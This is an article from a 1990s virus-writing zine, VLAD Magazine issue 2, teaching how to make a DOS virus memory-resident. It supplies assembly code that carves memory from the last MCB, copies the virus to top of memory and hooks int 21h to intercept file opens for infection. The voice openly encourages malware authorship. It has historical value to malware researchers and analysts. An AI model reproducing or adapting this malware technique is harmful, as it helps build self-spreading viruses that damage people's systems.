VLAD Magazine - Issue #2 - ARTICLE.3_2 - A Guide To TSR

 TSR tutorial!
   +-----------+

   Of course when first learning to do something you must start from
   the very beginning, writing a TSR virus comes roundabout after the
   parasitic stage.  If you can't do this, then I suggest you study up
   on it before checking this out :).  According to some releasing, even
   a parasitic infector is lame, so heh... I guess this might come in
   handy for someone.

   Ok, well here goes the tutorial:


   When a program is loaded, the memory around it looks like this:


           |                      |
           |                      |
           | This is the EXE/COM  |
           | Program that is      |
           | infected.            |
           |______________________|
           |Program Segment Prefix|
           | (Shortened to PSP)   |   This is 100H bytes long.(256 bytes)
           |______________________|
           | Memory Control Block |
           |  (Shortened to MCB)  |   This is 10H bytes long. (16 bytes)
           |______________________|


   On entry to both COM and EXE files DS and ES contain the segment of the
   PSP (Program Segment Prefix).

      To get the MCB (Memory Control Block) we go:

        mov     ax,ds           ;DS=PSP
        dec     ax
        mov     ds,ax           ;Now DS=MCB

   This is because the MCB hides one paragraph (paragraph=16 bytes) below
   the PSP.  The MCB is what DOS uses to allocate memory.

        MCB Format
      ;******************
      DS:[0] = MCB Type.              - Either Z or M block.
      DS:[3] = Size of block / 16.
      ;******************

      Next go:

        cmp     ds:[0],'Z'      ;We want a Z block because Z are the last.
        jne     fuck_off

        sub     ds:[3],memory_we_want/16
                                ;Now DOS thinks it has less memory. So we put
                                ;the virus in the gap.

   In the PSP at position 2 is the segment address of the top of memory.
   To save us calculating it from the MCB it is much easier to manipulate
   this data.  So:

        sub     ds:[12h],memory_we_want/16

        ;DS:[12h] now contains the segment where we put our virus.

        mov     ax,word ptr ds:[12h]
        mov     es,ax                   ;ES=Place to put virus.

        push    cs
        pop     ds                      ;DS=CS
        xor     di,di
        ;We assume SI=Start of virus.
        mov     cx,virus_length         ;How many bytes to move.

        rep     movsb                   ;Move CX bytes from DS:SI to ES:DI
        ;That should move your virus to the TOM (top of memory)

   I have started rushing here.  Not too fast I hope.  Now what you have
   to do is point your interrupt (int21h) at the handler within your virus.

   Setting the interrupt vector manually (without using int21h) is best
   because then you can infect COMMAND.COM safely.  Anyway, the interrupt
   vector table is located at segment 0.

        xor     ax,ax           ;Zero AX
        mov     ds,ax           ;DS=0=Interrupt Vector table.

   All interrupts are located at their number multiplied by four.  They
   are laid down with the offset first and then the segment.

        mov     ds:[21h*4],offset int21handler  ;Offset of virus routine
        mov     ds:[21h*4+2],es                 ;Segment of virus routine

   This code will set int21h to run your virus handler.  But before
   putting your virus in memory you should save the original Offset:Segment
   in your handler so that you can return to it later on.

   Your handler should look like this:

        int21handler proc far
          cmp   ah,3dh                  ;This is file open.
          jne   go_int
          push  everything
          do infection and shit
          pop   everything
        go_int:
          db    0eah                    ;This stands for jmpf
          dw    orig_int21_offset
          dw    orig_int21_segment
          int21handler endp

   There's also other stuff like checking for residency where you pass
   into int 21h a unique register pattern and test for it and return another
   weird pattern to confirm its residency.  But I'm sure you'll work it out.

   Ok, that'll do for another lame tutorial by Quark.  Look out for more
   lame tutorials, believe me, there'll be many! :)
   (With intro by Metabolic)